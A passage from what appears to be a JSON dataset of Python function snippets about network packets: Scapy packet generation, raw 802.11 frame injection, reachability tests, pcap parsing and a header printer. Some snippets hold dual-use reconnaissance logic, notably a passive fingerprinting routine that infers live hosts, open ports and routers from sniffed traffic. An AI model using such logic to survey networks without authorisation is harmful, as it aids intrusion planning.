reader:\\n records.append(record)\\n # Check resulting records, checking the first and last records is enough\\n assert len(records) == 5\",\n \"def pkt_gen(self):\\n for i in range(self.num_pkts):\\n # create the test packets\\n pkt = Ether()/IP()/TCP()/'hello there pretty world!!!'\\n rank = random.sample(range(0, 100), 1)[0]\\n pkt_id = i\\n tuser = Tuser(len(pkt), 0b00000001, 0b00000100, rank, pkt_id)\\n print ('@ {:.2f} - Send: {} || {}'.format(self.env.now, pkt.summary(), tuser))\\n # write the pkt and metadata into storage\\n self.pkt_in_pipe.put((pkt, tuser))\\n\\n # wait for 10 cycles\\n #for j in range(PREAMBLE + len(pkt) + IFG):\\n yield self.wait_line_clks(self.PREAMBLE + len(pkt) + self.IFG)\",\n \"def sendData(packet: FrameStruct, repeats: int) -> NoReturn:\\n ftype = b'\\\\x08\\\\x00'\\n dur = b'\\\\x00\\\\x00'\\n # random hex stream, could be used as additional space of bits\\n src = b'\\\\x08\\\\x00\\\\x27\\\\x8e\\\\x75\\\\x44'\\n # broadcast address is used to stop certain drivers retransmitting frames\\n dst = b'\\\\xff\\\\xff\\\\xff\\\\xff\\\\xff\\\\xff'\\n bssid = src\\n # semi unique id, annoyingly not usable due to lack of bits for this appli\\n sn = (random.randint(0, 4096))\\n sn = sn << 4\\n seq = sn.to_bytes(4, 'little')\\n\\n # generate 80211 header\\n header80211 = ftype + dur + dst + src + bssid + seq\\n\\n # combine header with other data to create valid frame\\n data = globaldat.RADIO_TAP + header80211 + b\\\"\\\\x72\\\\x6f\\\\x62\\\\x6f\\\\x74\\\" + \\\\\\n packet # attach radiotap headers, 80211 headers and yodel payload\\n #globaldat.bytesPrint(data)\\n #print(repeats)\\n for i in range(repeats): # re-transmmit message a couple times\\n globaldat.yodelSocket.send(data) # send the data\",\n \"def traff_from_extgwrtr(extgwrtr_ip, fipsOftargetVMs, proto='all', jumbo=0):\\n traff = gbpFabTraff()\\n print 'FIPs of Target VMs == %s' % (fipsOftargetVMs)\\n # List of FIPs ExtGWRtr will ping, ping_fips should be type List\\n if isinstance(fipsOftargetVMs,dict):\\n ping_fips = fipsOftargetVMs.values() \\n if isinstance(fipsOftargetVMs,list):\\n ping_fips = fipsOftargetVMs\\n if not isinstance(fipsOftargetVMs,list):\\n ping_fips = [fipsOftargetVMs]\\n attemptall = 1\\n if proto == 'all':\\n while attemptall < max_traff_attempts:\\n if jumbo == 1:\\n results_icmp = traff.test_regular_icmp(\\n extgwrtr_ip, ping_fips, pkt_size='9000')\\n else:\\n results_icmp = traff.test_regular_icmp(extgwrtr_ip, ping_fips)\\n results_tcp = traff.test_regular_tcp(extgwrtr_ip, ping_fips)\\n if results_icmp != 1 and results_tcp != 1:\\n retval = {'ICMP': results_icmp.keys(), 'TCP': results_tcp.keys()}\\n elif results_icmp != 1:\\n retval = {'ICMP': results_icmp.keys()}\\n elif results_tcp != 1:\\n retval = {'TCP': results_tcp.keys()}\\n else:\\n return 1\\n if isinstance(retval,dict):\\n print \\\"Wait for 10 secs before the next ICMP & TCP retry\\\\n\\\"\\n sleep(10)\\n attemptall += 1\\n return retval\\n if proto == 'icmp':\\n if jumbo == 1:\\n results_icmp = traff.test_regular_icmp(\\n extgwrtr_ip, ping_fips, pkt_size='9000')\\n else:\\n results_icmp = traff.test_regular_icmp(extgwrtr_ip, ping_fips)\\n attempt = 1\\n while attempt < max_traff_attempts:\\n if isinstance(results_icmp, dict):\\n print \\\"Wait for 10 secs before the next ICMP retry\\\\n\\\"\\n sleep(10)\\n results_icmp = traff.test_regular_icmp(extgwrtr_ip, ping_fips)\\n attempt += 1\\n else:\\n break\\n if attempt == max_traff_attempts:\\n return {'ICMP': results_icmp.keys()}\\n if proto == 'tcp':\\n results_tcp = traff.test_regular_tcp(extgwrtr_ip, ping_fips)\\n retry = 1\\n while retry < max_traff_attempts:\\n if isinstance(results_tcp, dict):\\n print \\\"Wait for 10 secs before the next TCP retry\\\\n\\\"\\n sleep(10)\\n results_tcp = traff.test_regular_tcp(extgwrtr_ip, ping_fips)\\n retry += 1\\n else:\\n break\\n if retry == max_traff_attempts:\\n return {'TCP': results_tcp.keys()}\",\n \"def example1():\\n files='*.pcap*'\\n columns=['frame.time_relative'] # Time since reference or first frame\\n filter_str=''\\n output_file='a.txt'\\n data=read_pcap.read_pcap_files(files, columns, filter_str, output_file)# Get packet arrive time, the output is a list of string\\n arrive_time=[float(item[0]) for item in data] # Format the list of strings to a list of floating numbers\\n return arrive_time\",\n \"def output_generator(pkt):\\r\\n ethe_header = pkt[0]\\r\\n ip_header = pkt[1]\\r\\n protocol = pkt[1][7]\\r\\n data_header = pkt[2]\\r\\n ethe_prefix = \\\"ETHER: \\\"\\r\\n ip_prefix = \\\"IP: \\\"\\r\\n tcp_prefix = \\\"TCP: \\\"\\r\\n udp_prefix = \\\"UDP: \\\"\\r\\n icmp_prefix = \\\"ICMP: \\\"\\r\\n # print ether header information\\r\\n print(\\\"\\\\n\\\" + ethe_prefix + \\\"----- Ether Header -----\\\")\\r\\n print(ethe_prefix)\\r\\n print(ethe_prefix + \\\"Packet size = \\\" + str(ethe_header[0]) + \\\" bytes\\\")\\r\\n print(ethe_prefix + \\\"Destination = \\\" + str(ethe_header[1]))\\r\\n print(ethe_prefix + \\\"Source = \\\" + str(ethe_header[2]))\\r\\n print(ethe_prefix + \\\"Ethertype = \\\" + str(ethe_header[3]) + \\\" (IP)\\\")\\r\\n print(ethe_prefix)\\r\\n\\r\\n print(ip_prefix + \\\"----- IP Header -----\\\")\\r\\n print(ip_prefix)\\r\\n print(ip_prefix + \\\"Version = \\\" + str(ip_header[0]))\\r\\n print(ip_prefix + \\\"Header length = \\\" + str(4 * int(ip_header[1])) + \\\" bytes\\\")\\r\\n print(ip_prefix + \\\"Type of service = 0x\\\" + str(ip_header[2]))\\r\\n if str(ip_header[2]) == \\\"00\\\":\\r\\n print(ip_prefix + \\\"\\\\txxx. .... = 0 (precedence)\\\")\\r\\n print(ip_prefix + \\\"\\\\t...0 .... = normal delay\\\")\\r\\n print(ip_prefix + \\\"\\\\t.... 0... = normal throughput\\\")\\r\\n print(ip_prefix + \\\"\\\\t.... .0.. = normal reliability\\\")\\r\\n print(ip_prefix + \\\"Total length = \\\" + str(ip_header[3]) + \\\" bytes\\\")\\r\\n print(ip_prefix + \\\"Identification = \\\" + str(ip_header[4]))\\r\\n print(ip_prefix + \\\"Flags = 0x\\\" + str(ip_header[5]))\\r\\n flag = str(format(int(ip_header[5][0]), '04b'))\\r\\n if flag[0] == \\\"0\\\":\\r\\n print(ip_prefix + \\\"\\\\t0... ... = Reserved bit: Not set\\\")\\r\\n else:\\r\\n print(ip_prefix + \\\"\\\\t1... ... = Reserved bit: set\\\")\\r\\n if flag[1] == \\\"0\\\":\\r\\n print(ip_prefix + \\\"\\\\t.0.. ... = Don't fragment: Not set\\\")\\r\\n else:\\r\\n print(ip_prefix + \\\"\\\\t.1.. ... = Don't fragment: set\\\")\\r\\n if flag[2] == \\\"0\\\":\\r\\n print(ip_prefix + \\\"\\\\t..0. ... = More fragments: Not set\\\")\\r\\n else:\\r\\n print(ip_prefix + \\\"\\\\t..1. ... = More fragments: set\\\")\\r\\n flag_offset = str((int(ip_header[5][2:3])))\\r\\n print(ip_prefix + \\\"Fragment offset = \\\" + flag_offset + \\\" bytes\\\")\\r\\n print(ip_prefix + \\\"Time to live = \\\" + str(ip_header[6]) + \\\" seconds/hops\\\")\\r\\n if protocol == 1:\\r\\n print(ip_prefix + \\\"Protocol = \\\" + str(protocol) + \\\" (ICMP)\\\")\\r\\n if protocol == 17:\\r\\n print(ip_prefix + \\\"Protocol = \\\" + str(protocol) + \\\" (UDP)\\\")\\r\\n if protocol == 6:\\r\\n print(ip_prefix + \\\"Protocol = \\\" + str(protocol) + \\\" (TCP)\\\")\\r\\n print(ip_prefix + \\\"Header checksum = \\\" + str(ip_header[8]))\\r\\n print(ip_prefix + \\\"Source address = \\\" + str(ip_header[9]))\\r\\n print(ip_prefix + \\\"Destination address = \\\" + str(ip_header[10]))\\r\\n if ip_header[11] == \\\"\\\":\\r\\n print(ip_prefix + \\\"No options\\\")\\r\\n else:\\r\\n print(ip_prefix + \\\"Options: \\\" + ip_header[11])\\r\\n print(ip_prefix)\\r\\n\\r\\n if protocol == 1:\\r\\n print(icmp_prefix + \\\"----- ICMP Header -----\\\")\\r\\n print(icmp_prefix)\\r\\n if str(data_header[0]) == \\\"8\\\":\\r\\n print(icmp_prefix + \\\"Type = \\\" + str(data_header[0]) + \\\" (Echo request)\\\")\\r\\n elif str(data_header[0]) == \\\"0\\\":\\r\\n print(icmp_prefix + \\\"Type = \\\" + str(data_header[0]) + \\\" (Echo reply)\\\")\\r\\n else:\\r\\n print(icmp_prefix + \\\"Type = \\\" + str(data_header[0]))\\r\\n print(icmp_prefix + \\\"Code = \\\" + str(data_header[1]))\\r\\n print(icmp_prefix + \\\"Checksum = \\\" + str(data_header[2]))\\r\\n print(icmp_prefix)\\r\\n\\r\\n elif protocol == 6:\\r\\n print(tcp_prefix + \\\"----- TCP Header -----\\\")\\r\\n print(tcp_prefix)\\r\\n print(tcp_prefix + \\\"Source port = \\\" + str(data_header[0]))\\r\\n print(tcp_prefix + \\\"Destination port = \\\" + str(data_header[1]))\\r\\n print(tcp_prefix + \\\"Sequence number = \\\" + str(data_header[2]))\\r\\n print(tcp_prefix + \\\"Acknowledgement number = \\\" + str(data_header[3]))\\r\\n print(tcp_prefix + \\\"Data offset = \\\" + str(data_header[4]) + \\\" bytes\\\")\\r\\n flag = str(data_header[5])\\r\\n print(tcp_prefix + \\\"\\\\tReserved: Not set\\\")\\r\\n print(tcp_prefix + \\\"\\\\tNonce: Not set\\\")\\r\\n if flag[0] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tCWR: Not set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tCWR: Set\\\")\\r\\n if flag[1] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tECN-Echo : No set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tECN-Echo: Set\\\")\\r\\n if flag[2] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tUrgent: Not set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tUrgent: Set\\\")\\r\\n if flag[3] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tAcknowledgment: No set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tAcknowledgment: Set\\\")\\r\\n if flag[4] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tPush: No set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tPush: Set\\\")\\r\\n if flag[5] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tReset: No set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tReset: Set\\\")\\r\\n if flag[6] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tSyn: No set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tSyn: Set\\\")\\r\\n if flag[7] == \\\"0\\\":\\r\\n print(tcp_prefix + \\\"\\\\tFin: No set\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"\\\\tFin: Set\\\")\\r\\n print(tcp_prefix + \\\"Window = \\\" + str(data_header[6]))\\r\\n print(tcp_prefix + \\\"Checksum 0x= \\\" + str(data_header[7]))\\r\\n print(tcp_prefix + \\\"Urgent pointers = \\\" + str(data_header[8]))\\r\\n if data_header[9] != 0:\\r\\n print(tcp_prefix + \\\"Options\\\")\\r\\n else:\\r\\n print(tcp_prefix + \\\"No options\\\")\\r\\n print(tcp_prefix)\\r\\n\\r\\n elif protocol == 17:\\r\\n print(udp_prefix + \\\"----- UDP Header -----\\\")\\r\\n print(udp_prefix)\\r\\n print(udp_prefix + \\\"Source port = \\\" + str(data_header[0]))\\r\\n print(udp_prefix + \\\"Destination port = \\\" + str(data_header[1]))\\r\\n print(udp_prefix + \\\"Length = \\\" + str(data_header[2]))\\r\\n print(udp_prefix + \\\"Checksum = \\\" + str(data_header[3]))\\r\\n print(udp_prefix)\",\n \"def process_pcap(self):\\n # Create Core Controller\\n controller = Controller(self.args.input, self.args.extraTests, self.args.non_verbose, self.args.output,\\n self.args.debug)\\n\\n if not self.args.skip:\\n # Load PCAP statistics\\n recalculate_intervals = None\\n if self.args.recalculate_delete:\\n recalculate_intervals = True\\n elif self.args.recalculate_yes:\\n recalculate_intervals = True\\n self.args.recalculate = True\\n elif self.args.recalculate_no:\\n recalculate_intervals = False\\n self.args.recalculate = True\\n controller.load_pcap_statistics(self.args.export, self.args.recalculate, self.args.statistics,\\n self.args.statistics_interval, self.args.recalculate_delete,\\n recalculate_intervals)\\n\\n if self.args.list_intervals:\\n controller.list_interval_statistics()\\n\\n # Create statistics plots\\n if self.args.plot is not None:\\n do_entropy = False\\n if self.args.extraTests:\\n do_entropy = True\\n controller.create_statistics_plot(self.args.plot, do_entropy)\\n\\n # Check rng seed\\n if not isinstance(self.args.rngSeed, list):\\n self.args.rngSeed = [self.args.rngSeed]\\n\\n # Process attack(s) with given attack params\\n if self.args.attack is not None:\\n # If attack is present, load attack with params\\n controller.process_attacks(self.args.attack, self.args.rngSeed, self.args.time, self.args.inject_empty)\\n\\n # Parameter -q without arguments was given -> go into query loop\\n if self.args.query == [None]:\\n controller.enter_query_mode()\\n # Parameter -q with arguments was given -> process query\\n elif self.args.query is not None:\\n controller.process_db_queries(self.args.query, True)\",\n \"def mock_api_stage_success_get_state() -> List[bytes]:\\n return create_standard_packets_list()\",\n \"def spoof_packet(packet):\",\n \"def simulate_driver_packet(driver, record_count):\\n i = 0\\n for packet in driver.genLoopPackets():\\n print(\\\"Packet is: %s %s\\\"\\n % (weeutil.weeutil.timestamp_to_string(packet['dateTime']),\\n to_sorted_string(packet)))\\n i += 1\\n if i >= record_count:\\n break\",\n \"def test_good_data(self):\\n self.client_socket.sendto(b'', DATA_SOCKET_FILE)\\n (bytes, address) = self.client_socket.recvfrom(10)\\n\\n #self.assertEquals(address, DATA_SOCKET_FILE)\\n\\n # assert a successful registration\\n self.assertEqual(len(bytes), 1)\\n self.assertEqual(bytes[0], 0)\\n\\n data = b'hello world!'\\n self.client_socket.sendto(data, DATA_SOCKET_FILE)\\n (bytes, address) = self.client_socket.recvfrom(10)\\n # assert a successful transmission\\n self.assertEqual(len(bytes), 1)\\n self.assertEqual(bytes[0], 0)\",\n \"def test_send_empty_file():\\n\\n # Generate the blocks for the empty test file which is not already present on the server\\n empty_file = os.path.join(os.path.dirname(__file__), \\\"../test_files/empty.txt\\\")\\n # Ask the server for the hash of the last block\\n response = client.get(\\\"/latest_block_hash\\\")\\n last_block_hash = response.json()[\\\"last_block_hash\\\"]\\n block = generate_blocks(empty_file, last_block_hash)\\n # Encode the generated block into a binary file using pickle\\n block_pickled = pickle.dumps(block)\\n # Send the encoded block to the test server\\n response = client.post(\\\"/send\\\",\\n files={\\\"file\\\": block_pickled})\\n\\n assert response.ok\\n assert response.json() \\\\\\n == {\\\"success\\\": True,\\n \\\"new_file\\\": True,\\n \\\"hash\\\": \\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\n \\\"index_all\\\": 1}\\n\\n # Send the SHA256 checksum of the empty file to the server to be checked\\n response = client.get(\\\"/check\\\",\\n params={\\\"file_hash\\\": block[0].hash,\\n \\\"index_all\\\": block[0].index_all})\\n assert response.ok\\n assert response.json() \\\\\\n == {\\\"check\\\": True,\\n \\\"hash\\\": \\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\",\n \"def socket1():\\n try:\\n mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n mysock.connect(('www.py4inf.com', 80))\\n mysock.send('GET http://www.py4inf.com/code/romeo.txt HTTP/1.0\\\\n\\\\n')\\n\\n while True:\\n data = mysock.recv(512)\\n if ( len(data) < 1 ) :\\n break\\n print data;\\n mysock.close()\\n \\n except:\\n exc_type, exc_obj, exc_tb = sys.exc_info()\\n print (\\\"Exception occured. Type:{0}, Object: {1}, TraceBack: {2}\\\", exc_type, exc_obj, exc_tb)\",\n \"def postprocess(self, attempt_number, buffer_info, data, data_file, missed_packet=False):\\n\\t\\t#print \\\"postprocessing {}\\\".format(packet_number)\\n\\n\\t\\tpp_start = time.clock()\\n\\t\\tif missed_packet:\\n\\t\\t\\tprint \\\"supposedly missed packet {}\\\".format(attempt_number)\\n\\t\\t\\tattempt_number = -1 * attempt_number\\n\\n\\t\\twith open(data_file, 'a') as f:\\n\\t\\t\\t# postprocessing\\n\\t\\t\\tindex, prev_sample, latency = 0, 0, 0\\n\\t\\t\\tfor sample in data:\\n\\t\\t\\t\\tif (index > buffer_info[0]):\\n\\t\\t\\t\\t\\t# we want to check every sample if test harness thinks packet was missed\\n\\t\\t\\t\\t\\tif latency == 4.096:\\n\\t\\t\\t\\t\\t\\tprint \\\"only took 4096 samples?\\\"\\n\\t\\t\\t\\t\\tbreak\\n\\n\\t\\t\\t\\tif ((prev_sample ^ sample) != 0):\\n\\t\\t\\t\\t\\t# if sample is zero something wrong happened when reading from the buffer\\n\\n\\t\\t\\t\\t#if ((prev_sample ^ sample) & self.bits_to_monitor) != 0:\\n\\t\\t\\t\\t\\t# one or more of the bits to monitor have changed\\n\\n\\t\\t\\t\\t\\t#TODO: add check to see if sample is weird. every output bit other than button press must always be high.\\n\\t\\t\\t\\t\\t#sample_output_str = str(get_bit(sample, self.packet_received_pos))\\n\\t\\t\\t\\t\\t#sample_output_str += str(get_bit(sample, self.packet_created_pos))\\n\\t\\t\\t\\t\\t#sample_output_str += str(get_bit(sample, self.button_press_mirror_pos))\\n\\t\\t\\t\\t\\tsample_output_str = binary_num_str(sample, split=True)\\n\\t\\t\\t\\t\\t#print sample_output_str\\n\\t\\t\\t\\t\\tlatency = index * self.period_ms\\n\\t\\t\\t\\t\\tf.write(\\\"{}, {}, {}, {}\\\\n\\\".format(attempt_number, index, latency, sample_output_str))\\n\\n\\t\\t\\t\\tindex += 1\\n\\t\\t\\t\\tprev_sample = sample\\n\\n\\t\\tpp_stop = time.clock()\\n\\t\\tif missed_packet:\\n\\t\\t\\tprint \\\"postprocessing took {} seconds\\\".format(pp_stop - pp_start)\\n\\t\\telse:\\t\\t\\n\\t\\t\\tprint \\\"{} {}\\\".format(attempt_number, latency)\\n\\t\\t#print \\\"cSamples: {}, cLost: {}, cCorrupted: {}\\\".format(buffer_info[0], buffer_info[1], buffer_info[2])\\n\\t\\t#print \\\"took {} samples for packet {}\\\".format(index, packet_number)\\n\\t\\t#print \\\"postprocessing took {} seconds\\\".format(pp_stop - pp_start)\\n\\t\\t#print \\\"\\\\n\\\"\\n\\t\\treturn\",\n \"def test_invalid_packet_size(self):\\n p = (\\n Ether(dst=self.src_if.local_mac, src=self.src_if.remote_mac)\\n / IPv6(src=self.src_if.remote_ip6, dst=self.src_if.local_ip6)\\n / UDP(sport=1234, dport=5678)\\n / Raw()\\n )\\n self.extend_packet(p, 1000, self.padding)\\n fragments = fragment_rfc8200(p, 1, 500)\\n bad_fragment = fragments[1]\\n bad_fragment[IPv6ExtHdrFragment].offset = 65500\\n self.pg_enable_capture()\\n self.src_if.add_stream([bad_fragment])\\n self.pg_start()\\n pkts = self.src_if.get_capture(expected_count=1)\\n icmp = pkts[0]\\n self.assertIn(ICMPv6ParamProblem, icmp)\\n self.assert_equal(icmp[ICMPv6ParamProblem].code, 0, \\\"ICMP code\\\")\",\n \"def processpacket(p):\\n\\n\\tglobal SynSentToTCPService\\n\\tglobal SynAckSentToTCPClient\\n\\tglobal LiveTCPService\\n\\tglobal LiveTCPClient\\n\\tglobal LiveUDPService\\n\\tglobal LiveUDPClient\\n\\tglobal NmapServerDescription\\n\\tglobal ManualServerDescription\\n\\tglobal ClientDescription\\n\\tglobal MacAddr\\n\\tglobal OSDescription\\n\\tglobal ServiceFPs\\n\\tglobal SipPhoneMatch\\n\\tglobal Devel\\n\\tglobal IsRouter\\n\\tglobal DNSRecord\\n\\tglobal HostIPs\\n\\n\\tif (type(p) == Dot3) and (type(p['LLC']) == LLC):\\n\\t\\tUnhandledPacket(p)\\n\\t\\t#Spanning Tree Protocol\\n\\t\\t#Debug(\\\"802.3\\\")\\n\\t\\t#p.show()\\n\\t\\t#print type(p['LLC'])\\n\\telif (p['Ethernet'] == None):\\n\\t\\tDebug(\\\"non-ethernet packet\\\")\\t\\t#Need more details on how to handle.\\n\\t\\tUnhandledPacket(p)\\n\\t\\t#p.show()\\n\\t\\t#print type(p)\\n\\t\\t#quit()\\n\\telif p['Ethernet'].type == 0x0806:\\t\\t#ARP\\n\\t\\t#pull arp data from here instead of tcp/udp packets, as these are all local\\n\\t\\tif (p['ARP'].op == 1):\\t\\t\\t#1 is request (\\\"who-has\\\")\\n\\t\\t\\tpass\\n\\t\\tif (p['ARP'].op == 2):\\t\\t\\t#2 is reply (\\\"is-at\\\")\\n\\t\\t\\tif (p['ARP.psrc'] != None) and (p['ARP.hwsrc'] != None):\\n\\t\\t\\t\\tIPAddr=p['ARP.psrc']\\n\\t\\t\\t\\tMyMac=p['ARP.hwsrc'].upper()\\n\\t\\t\\t\\tif (not MacAddr.has_key(IPAddr)) or (MacAddr[IPAddr] != MyMac):\\n\\t\\t\\t\\t\\tReportId(\\\"MA\\\", IPAddr, 'Ethernet', MyMac, '')\\n\\t\\t\\telse:\\n\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\telse:\\n\\t\\t\\tUnhandledPacket(p)\\n\\telif p['Ethernet'].type == 0x0800:\\t\\t#IP\\n\\t\\tsIP=str(p['IP'].src)\\n\\t\\tdIP=str(p['IP'].dst)\\n\\t\\t#Best to get these from arps instead; if we get them from here, we get router macs for foreign addresses.\\n\\t\\t#if not MacAddr.has_key(sIP):\\n\\t\\t#\\tReportId(\\\"MA\\\", sIP, \\\"Ethernet\\\", p['Ethernet'].src, '')\\n\\t\\t#if not MacAddr.has_key(dIP):\\n\\t\\t#\\tReportId(\\\"MA\\\", dIP, \\\"Ethernet\\\", p['Ethernet'].dst, '')\\n\\n\\t\\tif p['IP'].proto == 1:\\t\\t\\t#ICMP\\n\\t\\t\\tType = p['ICMP'].type\\n\\t\\t\\tCode = p['ICMP'].code\\n\\n\\t\\t\\tif (Type == 0):\\t\\t\\t\\t\\t\\t#Echo reply\\n\\t\\t\\t\\tif (not(OSDescription.has_key(sIP))):\\n\\t\\t\\t\\t\\tReportId(\\\"IP\\\", sIP, \\\"IP\\\", \\\"live\\\", 'icmp echo reply')\\n\\t\\t\\telif (Type == 3) and (type(p[IPerror]) == IPerror):\\t#Unreachable, check that we have an actual embedded packet\\n\\t\\t\\t\\t#if (type(p[IPerror]) != IPerror):\\n\\t\\t\\t\\t#\\tp.show()\\n\\t\\t\\t\\t#\\tprint type(p[IPerror])\\n\\t\\t\\t\\t#\\tquit()\\n\\t\\t\\t\\tOrigdIP = p[IPerror].dst\\n\\t\\t\\t\\tif (Code == 0):\\t\\t\\t\\t\\t#Net unreachable\\n\\t\\t\\t\\t\\tif (not(OSDescription.has_key(OrigdIP))):\\n\\t\\t\\t\\t\\t\\tReportId(\\\"IP\\\", OrigdIP, \\\"IP\\\", \\\"dead\\\", 'net unreachable')\\n\\t\\t\\t\\t\\tif (not(IsRouter.has_key(sIP))):\\n\\t\\t\\t\\t\\t\\tReportId(\\\"RO\\\", sIP, \\\"NetUn\\\", \\\"router\\\", \\\"\\\")\\n\\t\\t\\t\\telif (Code == 1):\\t\\t\\t\\t#Host unreachable\\n\\t\\t\\t\\t\\tif (not(OSDescription.has_key(OrigdIP))):\\n\\t\\t\\t\\t\\t\\tReportId(\\\"IP\\\", OrigdIP, \\\"IP\\\", \\\"dead\\\", 'host unreachable')\\n\\t\\t\\t\\t\\tif (not(IsRouter.has_key(sIP))):\\n\\t\\t\\t\\t\\t\\tReportId(\\\"RO\\\", sIP, \\\"HostUn\\\", \\\"router\\\", \\\"\\\")\\n\\t\\t\\t\\telif (Code == 3) and (p[IPerror].proto == 17):\\t#Port unreachable and embedded protocol = 17, UDP, as it should be\\n\\t\\t\\t\\t\\tDNSServerLoc = p[IPerror].src + \\\",UDP_53\\\"\\n\\t\\t\\t\\t\\tif (p[UDPerror].sport == 53) and (ManualServerDescription.has_key(DNSServerLoc)) and (ManualServerDescription[DNSServerLoc] == \\\"dns/server\\\"):\\n\\t\\t\\t\\t\\t\\t#If orig packet coming from 53 and coming from a dns server, don't do anything (closed port on client is a common effect)\\n\\t\\t\\t\\t\\t\\t#Don't waste time on port unreachables going back to a dns server; too common, and ephemeral anyways.\\n\\t\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t#If orig packet coming from something other than 53, or coming from 53 and NOT coming from a dns server, log as closed\\n\\t\\t\\t\\t\\t\\tOrigDPort = str(p[UDPerror].dport)\\n\\t\\t\\t\\t\\t\\tOrigDstService = OrigdIP + \\\",UDP_\\\" + OrigDPort\\n\\t\\t\\t\\t\\t\\tif ((not LiveUDPService.has_key(OrigDstService)) or (LiveUDPService[OrigDstService] == True)):\\n\\t\\t\\t\\t\\t\\t\\tLiveUDPService[OrigDstService] = False\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"US\\\", OrigdIP, \\\"UDP_\\\" + OrigDPort, \\\"closed\\\", \\\"port unreachable\\\")\\n\\t\\t\\t\\telif (Code == 3) and (p[IPerror].proto == 6) and (p[TCPerror].dport == 113):\\t#Port unreachable and embedded protocol = 6, TCP, which it shouldn't. May be the same firewall providing the TCP FR's\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telif (Code == 6):\\t\\t\\t\\t#Net unknown\\n\\t\\t\\t\\t\\tif (not(OSDescription.has_key(OrigdIP))):\\n\\t\\t\\t\\t\\t\\tReportId(\\\"IP\\\", OrigdIP, \\\"IP\\\", \\\"dead\\\", 'net unknown')\\n\\t\\t\\t\\telif (Code == 7):\\t\\t\\t\\t#Host unknown\\n\\t\\t\\t\\t\\tif (not(OSDescription.has_key(OrigdIP))):\\n\\t\\t\\t\\t\\t\\tReportId(\\\"IP\\\", OrigdIP, \\\"IP\\\", \\\"dead\\\", 'host unknown')\\n\\t\\t\\t\\telif (Code == 9):\\t\\t\\t\\t#Network Administratively Prohibited\\n\\t\\t\\t\\t\\tpass\\t\\t\\t\\t\\t#Can't tell much from this type of traffic. Possibly list as firewall?\\n\\t\\t\\t\\telif (Code == 10):\\t\\t\\t\\t#Host Administratively Prohibited\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telif (Code == 11):\\t\\t\\t\\t#Network unreachable for TOS\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telif (Code == 12):\\t\\t\\t\\t#Host unreachable for TOS\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telif (Code == 13):\\t\\t\\t\\t#Communication Administratively prohibited\\n\\t\\t\\t\\t\\tpass\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telif (Type == 8):\\t\\t\\t\\t\\t#ping\\n\\t\\t\\t\\t#FIXME - check payload for ping sender type, perhaps\\n\\t\\t\\t\\tpass\\n\\t\\t\\telif (Type == 11):\\t\\t\\t\\t\\t#Time exceeded\\n\\t\\t\\t\\tif (Code == 0):\\t\\t\\t\\t\\t#TTL exceeded\\n\\t\\t\\t\\t\\tif (not(IsRouter.has_key(sIP))):\\n\\t\\t\\t\\t\\t\\t#FIXME - put original target IP as column 5?\\n\\t\\t\\t\\t\\t\\tReportId(\\\"RO\\\", sIP, \\\"TTLEx\\\", \\\"router\\\", \\\"\\\")\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\telif p['IP'].proto == 2:\\t\\t#IGMP\\n\\t\\t\\tUnhandledPacket(p)\\n\\t\\telif p['IP'].proto == 6:\\t\\t#TCP\\n\\t\\t\\tsport=str(p['TCP'].sport)\\n\\t\\t\\tdport=str(p['TCP'].dport)\\n\\t\\t\\t#print p['IP'].src + \\\":\\\" + sport + \\\" -> \\\", p['IP'].dst + \\\":\\\" + dport,\\n\\t\\t\\tif (p['TCP'].flags & 0x17) == 0x12:\\t#SYN/ACK (RST and FIN off)\\n\\t\\t\\t\\tCliService = dIP + \\\",TCP_\\\" + sport\\n\\t\\t\\t\\tif not SynAckSentToTCPClient.has_key(CliService):\\n\\t\\t\\t\\t\\tSynAckSentToTCPClient[CliService] = True\\n\\n\\t\\t\\t\\t#If we've seen a syn sent to this port and have either not seen any SA/R, or we've seen a R in the past:\\n\\t\\t\\t\\t#The last test is for a service that was previously closed and is now open; report each transition once.\\n\\t\\t\\t\\tService = sIP + \\\",TCP_\\\" + sport\\n\\t\\t\\t\\tif ( (SynSentToTCPService.has_key(Service)) and ((not LiveTCPService.has_key(Service)) or (LiveTCPService[Service] == False)) ):\\n\\t\\t\\t\\t\\tLiveTCPService[Service] = True\\n\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", '')\\n\\t\\t\\telif (p['TCP'].flags & 0x17) == 0x02:\\t#SYN (ACK, RST, and FIN off)\\n\\t\\t\\t\\tService = dIP + \\\",TCP_\\\" + dport\\n\\t\\t\\t\\tif not SynSentToTCPService.has_key(Service):\\n\\t\\t\\t\\t\\tSynSentToTCPService[Service] = True\\n\\t\\t\\t\\t#Debug(\\\"trying to fingerprint \\\" + 